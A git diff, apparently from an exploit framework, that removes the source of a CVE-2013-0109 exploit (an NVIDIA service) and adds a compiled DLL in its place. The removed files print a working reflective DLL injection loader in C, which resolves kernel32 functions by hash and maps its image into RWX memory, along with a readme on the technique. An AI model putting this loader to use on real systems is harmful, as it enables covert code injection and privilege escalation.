diff --git a/data/exploits/CVE-2013-0109/exploit.dll b/data/exploits/CVE-2013-0109/exploit.dll
deleted file mode 100644
index 8fabac9fb5..0000000000
Binary files a/data/exploits/CVE-2013-0109/exploit.dll and /dev/null differ
diff --git a/data/exploits/CVE-2013-0109/nvidia_nvsvc.x86.dll b/data/exploits/CVE-2013-0109/nvidia_nvsvc.x86.dll
new file mode 100755
index 0000000000..7111a180c1
Binary files /dev/null and b/data/exploits/CVE-2013-0109/nvidia_nvsvc.x86.dll differ
diff --git a/external/source/exploits/cve-2013-0109/LICENSE.txt b/external/source/exploits/cve-2013-0109/LICENSE.txt
deleted file mode 100644
index f217025f51..0000000000
--- a/external/source/exploits/cve-2013-0109/LICENSE.txt
+++ /dev/null
@@ -1,25 +0,0 @@
-Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
-All rights reserved.
-
-Redistribution and use in source and binary forms, with or without modification, are permitted
-provided that the following conditions are met:
-
- * Redistributions of source code must retain the above copyright notice, this list of
-conditions and the following disclaimer.
-
- * Redistributions in binary form must reproduce the above copyright notice, this list of
-conditions and the following disclaimer in the documentation and/or other materials provided
-with the distribution.
-
- * Neither the name of Harmony Security nor the names of its contributors may be used to
-endorse or promote products derived from this software without specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
-IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
-FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
-CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
-CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
-SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
-OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGE.
\ No newline at end of file
diff --git a/external/source/exploits/cve-2013-0109/Readme.md b/external/source/exploits/cve-2013-0109/Readme.md
deleted file mode 100644
index 814e6e7517..0000000000
--- a/external/source/exploits/cve-2013-0109/Readme.md
+++ /dev/null
@@ -1,40 +0,0 @@
-About
-=====
-
-Reflective DLL injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process. As such the library is responsible for loading itself by implementing a minimal Portable Executable (PE) file loader. It can then govern, with minimal interaction with the host system and process, how it will load and interact with the host.
-
-Injection works from Windows NT4 up to and including Windows 8, running on x86, x64 and ARM where applicable.
-
-Overview
-========
-
-The process of remotely injecting a library into a process is two fold. Firstly, the library you wish to inject must be written into the address space of the target process (Herein referred to as the host process). Secondly the library must be loaded into that host process in such a way that the library's run time expectations are met, such as resolving its imports or relocating it to a suitable location in memory.
-
-Assuming we have code execution in the host process and the library we wish to inject has been written into an arbitrary location of memory in the host process, Reflective DLL Injection works as follows.
-
-* Execution is passed, either via CreateRemoteThread() or a tiny bootstrap shellcode, to the library's ReflectiveLoader function which is an exported function found in the library's export table.
-* As the library's image will currently exists in an arbitrary location in memory the ReflectiveLoader will first calculate its own image's current location in memory so as to be able to parse its own headers for use later on.
-* The ReflectiveLoader will then parse the host processes kernel32.dll export table in order to calculate the addresses of three functions required by the loader, namely LoadLibraryA, GetProcAddress and VirtualAlloc.
-* The ReflectiveLoader will now allocate a continuous region of memory into which it will proceed to load its own image. The location is not important as the loader will correctly relocate the image later on.
-* The library's headers and sections are loaded into their new locations in memory.
-* The ReflectiveLoader will then process the newly loaded copy of its image's import table, loading any additional library's and resolving their respective imported function addresses.
-* The ReflectiveLoader will then process the newly loaded copy of its image's relocation table.
-* The ReflectiveLoader will then call its newly loaded image's entry point function, DllMain with DLL_PROCESS_ATTACH. The library has now been successfully loaded into memory.
-* Finally the ReflectiveLoader will return execution to the initial bootstrap shellcode which called it, or if it was called via CreateRemoteThread, the thread will terminate.
-
-Build
-=====
-
-Open the 'rdi.sln' file in Visual Studio C++ and build the solution in Release mode to make inject.exe and reflective_dll.dll
-
-Usage
-=====
-
-To test use the inject.exe to inject reflective_dll.dll into a host process via a process id, e.g.:
-
-> inject.exe 1234
-
-License
-=======
-
-Licensed under a 3 clause BSD license, please see LICENSE.txt for details.
diff --git a/external/source/exploits/cve-2013-0109/dll/reflective_dll.sln b/external/source/exploits/cve-2013-0109/dll/reflective_dll.sln
deleted file mode 100644
index eff992d77c..0000000000
--- a/external/source/exploits/cve-2013-0109/dll/reflective_dll.sln
+++ /dev/null
@@ -1,20 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 10.00
-# Visual C++ Express 2008
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "reflective_dll.vcproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
-EndProject
-Global
- GlobalSection(SolutionConfigurationPlatforms) = preSolution
- Debug|Win32 = Debug|Win32
- Release|Win32 = Release|Win32
- EndGlobalSection
- GlobalSection(ProjectConfigurationPlatforms) = postSolution
- {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32
- {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32
- {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32
- {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32
- EndGlobalSection
- GlobalSection(SolutionProperties) = preSolution
- HideSolutionNode = FALSE
- EndGlobalSection
-EndGlobal
diff --git a/external/source/exploits/cve-2013-0109/dll/reflective_dll.vcproj b/external/source/exploits/cve-2013-0109/dll/reflective_dll.vcproj
deleted file mode 100644
index 33c6bd9515..0000000000
--- a/external/source/exploits/cve-2013-0109/dll/reflective_dll.vcproj
+++ /dev/null
@@ -1,357 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/external/source/exploits/cve-2013-0109/dll/reflective_dll.vcxproj b/external/source/exploits/cve-2013-0109/dll/reflective_dll.vcxproj
deleted file mode 100644
index b233a13c97..0000000000
--- a/external/source/exploits/cve-2013-0109/dll/reflective_dll.vcxproj
+++ /dev/null
@@ -1,266 +0,0 @@
-
-
-
-
- Debug
- ARM
-
-
- Debug
- Win32
-
-
- Debug
- x64
-
-
- Release
- ARM
-
-
- Release
- Win32
-
-
- Release
- x64
-
-
-
- {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}
- reflective_dll
- Win32Proj
-
-
-
- DynamicLibrary
- v100
- MultiByte
- true
-
-
- DynamicLibrary
- v110
- MultiByte
- true
-
-
- DynamicLibrary
- v110
- Unicode
-
-
- DynamicLibrary
- v110
- Unicode
-
-
- DynamicLibrary
- v110
- MultiByte
- false
-
-
- DynamicLibrary
- v110
- Unicode
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- <_ProjectFileVersion>11.0.50727.1
-
-
- $(SolutionDir)$(Configuration)\
- $(Configuration)\
- true
-
-
- true
-
-
- $(SolutionDir)$(Platform)\$(Configuration)\
- $(Platform)\$(Configuration)\
- true
-
-
- $(SolutionDir)$(Configuration)\
- $(Configuration)\
- false
- exploit
-
-
- false
-
-
- $(SolutionDir)$(Platform)\$(Configuration)\
- $(Platform)\$(Configuration)\
- false
-
-
-
- Disabled
- WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)
- true
- EnableFastChecks
- MultiThreadedDebugDLL
-
- Level3
- EditAndContinue
-
-
- true
- Windows
- MachineX86
-
-
-
-
- Disabled
- WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)
- true
- EnableFastChecks
- MultiThreadedDebugDLL
-
-
- Level3
- EditAndContinue
-
-
- true
- Windows
-
-
-
-
- X64
-
-
- Disabled
- WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)
- true
- EnableFastChecks
- MultiThreadedDebugDLL
-
- Level3
- ProgramDatabase
-
-
- true
- Windows
- MachineX64
-
-
-
-
- MaxSpeed
- OnlyExplicitInline
- true
- WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)
- MultiThreaded
- true
-
- Level3
- ProgramDatabase
-
-
- true
- Windows
- true
- true
- MachineX86
-
-
-
-
-
-
-
-
- MinSpace
- OnlyExplicitInline
- true
- WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)
- MultiThreaded
- true
-
-
- Level3
- ProgramDatabase
- true
- Default
-
-
- true
- Windows
- true
- true
- $(OutDir)$(ProjectName).arm.dll
-
-
- copy ..\ARM\Release\reflective_dll.arm.dll ..\bin\
-
-
-
-
- X64
-
-
- MaxSpeed
- OnlyExplicitInline
- true
- Size
- false
- WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)
- MultiThreaded
- true
-
- Level3
- ProgramDatabase
- CompileAsCpp
-
-
- $(OutDir)$(ProjectName).x64.dll
- true
- Windows
- true
- true
- MachineX64
-
-
- copy $(OutDir)$(ProjectName).x64.dll ..\bin\
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/external/source/exploits/cve-2013-0109/dll/reflective_dll.vcxproj.filters b/external/source/exploits/cve-2013-0109/dll/reflective_dll.vcxproj.filters
deleted file mode 100644
index 9bb86dca22..0000000000
--- a/external/source/exploits/cve-2013-0109/dll/reflective_dll.vcxproj.filters
+++ /dev/null
@@ -1,32 +0,0 @@
-
-
-
-
- {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
- cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
-
-
- {93995380-89BD-4b04-88EB-625FBE52EBFB}
- h;hpp;hxx;hm;inl;inc;xsd
-
-
-
-
- Source Files
-
-
- Source Files
-
-
- Source Files
-
-
-
-
- Header Files
-
-
- Header Files
-
-
-
\ No newline at end of file
diff --git a/external/source/exploits/cve-2013-0109/dll/reflective_dll.vcxproj.user b/external/source/exploits/cve-2013-0109/dll/reflective_dll.vcxproj.user
deleted file mode 100644
index 695b5c78b9..0000000000
--- a/external/source/exploits/cve-2013-0109/dll/reflective_dll.vcxproj.user
+++ /dev/null
@@ -1,3 +0,0 @@
-
-
-
\ No newline at end of file
diff --git a/external/source/exploits/cve-2013-0109/dll/src/ReflectiveDLLInjection.h b/external/source/exploits/cve-2013-0109/dll/src/ReflectiveDLLInjection.h
deleted file mode 100644
index 5738497f5b..0000000000
--- a/external/source/exploits/cve-2013-0109/dll/src/ReflectiveDLLInjection.h
+++ /dev/null
@@ -1,51 +0,0 @@
-//===============================================================================================//
-// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
-// All rights reserved.
-//
-// Redistribution and use in source and binary forms, with or without modification, are permitted
-// provided that the following conditions are met:
-//
-// * Redistributions of source code must retain the above copyright notice, this list of
-// conditions and the following disclaimer.
-//
-// * Redistributions in binary form must reproduce the above copyright notice, this list of
-// conditions and the following disclaimer in the documentation and/or other materials provided
-// with the distribution.
-//
-// * Neither the name of Harmony Security nor the names of its contributors may be used to
-// endorse or promote products derived from this software without specific prior written permission.
-//
-// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
-// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
-// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
-// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
-// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
-// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
-// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
-// POSSIBILITY OF SUCH DAMAGE.
-//===============================================================================================//
-#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
-#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
-//===============================================================================================//
-#define WIN32_LEAN_AND_MEAN
-#include
-
-// we declare some common stuff in here...
-
-#define DLL_QUERY_HMODULE 6
-
-#define DEREF( name )*(UINT_PTR *)(name)
-#define DEREF_64( name )*(DWORD64 *)(name)
-#define DEREF_32( name )*(DWORD *)(name)
-#define DEREF_16( name )*(WORD *)(name)
-#define DEREF_8( name )*(BYTE *)(name)
-
-typedef DWORD (WINAPI * REFLECTIVELOADER)( VOID );
-typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
-
-#define DLLEXPORT __declspec( dllexport )
-
-//===============================================================================================//
-#endif
-//===============================================================================================//
diff --git a/external/source/exploits/cve-2013-0109/dll/src/ReflectiveDll.c b/external/source/exploits/cve-2013-0109/dll/src/ReflectiveDll.c
deleted file mode 100644
index cf73a8a853..0000000000
--- a/external/source/exploits/cve-2013-0109/dll/src/ReflectiveDll.c
+++ /dev/null
@@ -1,33 +0,0 @@
-//===============================================================================================//
-// This is a stub for the actuall functionality of the DLL.
-//===============================================================================================//
-#include "ReflectiveLoader.h"
-
-// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
-// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
-// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
-
-// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
-extern HINSTANCE hAppInstance;
-//===============================================================================================//
-BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
-{
- BOOL bReturnValue = TRUE;
- switch( dwReason )
- {
- case DLL_QUERY_HMODULE:
- if( lpReserved != NULL )
- *(HMODULE *)lpReserved = hAppInstance;
- break;
- case DLL_PROCESS_ATTACH:
- hAppInstance = hinstDLL;
- run();
- ExitProcess(0);
- break;
- case DLL_PROCESS_DETACH:
- case DLL_THREAD_ATTACH:
- case DLL_THREAD_DETACH:
- break;
- }
- return bReturnValue;
-}
diff --git a/external/source/exploits/cve-2013-0109/dll/src/ReflectiveLoader.c b/external/source/exploits/cve-2013-0109/dll/src/ReflectiveLoader.c
deleted file mode 100644
index 594c0b8066..0000000000
--- a/external/source/exploits/cve-2013-0109/dll/src/ReflectiveLoader.c
+++ /dev/null
@@ -1,496 +0,0 @@
-//===============================================================================================//
-// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
-// All rights reserved.
-//
-// Redistribution and use in source and binary forms, with or without modification, are permitted
-// provided that the following conditions are met:
-//
-// * Redistributions of source code must retain the above copyright notice, this list of
-// conditions and the following disclaimer.
-//
-// * Redistributions in binary form must reproduce the above copyright notice, this list of
-// conditions and the following disclaimer in the documentation and/or other materials provided
-// with the distribution.
-//
-// * Neither the name of Harmony Security nor the names of its contributors may be used to
-// endorse or promote products derived from this software without specific prior written permission.
-//
-// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
-// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
-// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
-// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
-// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
-// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
-// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
-// POSSIBILITY OF SUCH DAMAGE.
-//===============================================================================================//
-#include "ReflectiveLoader.h"
-//===============================================================================================//
-// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
-HINSTANCE hAppInstance = NULL;
-//===============================================================================================//
-#pragma intrinsic( _ReturnAddress )
-// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
-// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
-// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
-// available (and no inline asm available under x64).
-__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
-//===============================================================================================//
-
-// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
-// otherwise the DllMain at the end of this file will be used.
-
-// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
-// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
-
-// This is our position independent reflective DLL loader/injector
-#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
-DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
-#else
-DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )
-#endif
-{
- // the functions we need
- LOADLIBRARYA pLoadLibraryA = NULL;
- GETPROCADDRESS pGetProcAddress = NULL;
- VIRTUALALLOC pVirtualAlloc = NULL;
- NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
-
- USHORT usCounter;
-
- // the initial location of this image in memory
- ULONG_PTR uiLibraryAddress;
- // the kernels base address and later this images newly loaded base address
- ULONG_PTR uiBaseAddress;
-
- // variables for processing the kernels export table
- ULONG_PTR uiAddressArray;
- ULONG_PTR uiNameArray;
- ULONG_PTR uiExportDir;
- ULONG_PTR uiNameOrdinals;
- DWORD dwHashValue;
-
- // variables for loading this image
- ULONG_PTR uiHeaderValue;
- ULONG_PTR uiValueA;
- ULONG_PTR uiValueB;
- ULONG_PTR uiValueC;
- ULONG_PTR uiValueD;
- ULONG_PTR uiValueE;
-
- // STEP 0: calculate our images current base address
-
- // we will start searching backwards from our callers return address.
- uiLibraryAddress = caller();
-
- // loop through memory backwards searching for our images base address
- // we dont need SEH style search as we shouldnt generate any access violations with this
- while( TRUE )
- {
- if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
- {
- uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
- // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
- // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
- if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
- {
- uiHeaderValue += uiLibraryAddress;
- // break if we have found a valid MZ/PE header
- if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
- break;
- }
- }
- uiLibraryAddress--;
- }
-
- // STEP 1: process the kernels exports for the functions our loader needs...
-
- // get the Process Enviroment Block
-#ifdef WIN_X64
- uiBaseAddress = __readgsqword( 0x60 );
-#else
-#ifdef WIN_X86
- uiBaseAddress = __readfsdword( 0x30 );
-#else WIN_ARM
- uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
-#endif
-#endif
-
- // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
- uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
-
- // get the first entry of the InMemoryOrder module list
- uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
- while( uiValueA )
- {
- // get pointer to current modules name (unicode string)
- uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
- // set bCounter to the length for the loop
- usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
- // clear uiValueC which will store the hash of the module name
- uiValueC = 0;
-
- // compute the hash of the module name...
- do
- {
- uiValueC = ror( (DWORD)uiValueC );
- // normalize to uppercase if the madule name is in lowercase
- if( *((BYTE *)uiValueB) >= 'a' )
- uiValueC += *((BYTE *)uiValueB) - 0x20;
- else
- uiValueC += *((BYTE *)uiValueB);
- uiValueB++;
- } while( --usCounter );
-
- // compare the hash with that of kernel32.dll
- if( (DWORD)uiValueC == KERNEL32DLL_HASH )
- {
- // get this modules base address
- uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
-
- // get the VA of the modules NT Header
- uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
-
- // uiNameArray = the address of the modules export directory entry
- uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
-
- // get the VA of the export directory
- uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
-
- // get the VA for the array of name pointers
- uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
-
- // get the VA for the array of name ordinals
- uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
-
- usCounter = 3;
-
- // loop while we still have imports to find
- while( usCounter > 0 )
- {
- // compute the hash values for this function name
- dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
-
- // if we have found a function we want we get its virtual address
- if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
- {
- // get the VA for the array of addresses
- uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
-
- // use this functions name ordinal as an index into the array of name pointers
- uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
-
- // store this functions VA
- if( dwHashValue == LOADLIBRARYA_HASH )
- pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
- else if( dwHashValue == GETPROCADDRESS_HASH )
- pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
- else if( dwHashValue == VIRTUALALLOC_HASH )
- pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
-
- // decrement our counter
- usCounter--;
- }
-
- // get the next exported function name
- uiNameArray += sizeof(DWORD);
-
- // get the next exported function name ordinal
- uiNameOrdinals += sizeof(WORD);
- }
- }
- else if( (DWORD)uiValueC == NTDLLDLL_HASH )
- {
- // get this modules base address
- uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
-
- // get the VA of the modules NT Header
- uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
-
- // uiNameArray = the address of the modules export directory entry
- uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
-
- // get the VA of the export directory
- uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
-
- // get the VA for the array of name pointers
- uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
-
- // get the VA for the array of name ordinals
- uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
-
- usCounter = 1;
-
- // loop while we still have imports to find
- while( usCounter > 0 )
- {
- // compute the hash values for this function name
- dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
-
- // if we have found a function we want we get its virtual address
- if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
- {
- // get the VA for the array of addresses
- uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
-
- // use this functions name ordinal as an index into the array of name pointers
- uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
-
- // store this functions VA
- if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
- pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
-
- // decrement our counter
- usCounter--;
- }
-
- // get the next exported function name
- uiNameArray += sizeof(DWORD);
-
- // get the next exported function name ordinal
- uiNameOrdinals += sizeof(WORD);
- }
- }
-
- // we stop searching when we have found everything we need.
- if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
- break;
-
- // get the next entry
- uiValueA = DEREF( uiValueA );
- }
-
- // STEP 2: load our image into a new permanent location in memory...
-
- // get the VA of the NT Header for the PE to be loaded
- uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
-
- // allocate all the memory for the DLL to be loaded into. we can load at any address because we will
- // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
- uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
-
- // we must now copy over the headers
- uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
- uiValueB = uiLibraryAddress;
- uiValueC = uiBaseAddress;
-
- while( uiValueA-- )
- *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
-
- // STEP 3: load in all of our sections...
-
- // uiValueA = the VA of the first section
- uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
-
- // itterate through all sections, loading them into memory.
- uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
- while( uiValueE-- )
- {
- // uiValueB is the VA for this section
- uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
-
- // uiValueC if the VA for this sections data
- uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
-
- // copy the section over
- uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
-
- while( uiValueD-- )
- *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
-
- // get the VA of the next section
- uiValueA += sizeof( IMAGE_SECTION_HEADER );
- }
-
- // STEP 4: process our images import table...
-
- // uiValueB = the address of the import directory
- uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
-
- // we assume their is an import table to process
- // uiValueC is the first entry in the import table
- uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
-
- // itterate through all imports
- while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
- {
- // use LoadLibraryA to load the imported module into memory
- uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
-
- // uiValueD = VA of the OriginalFirstThunk
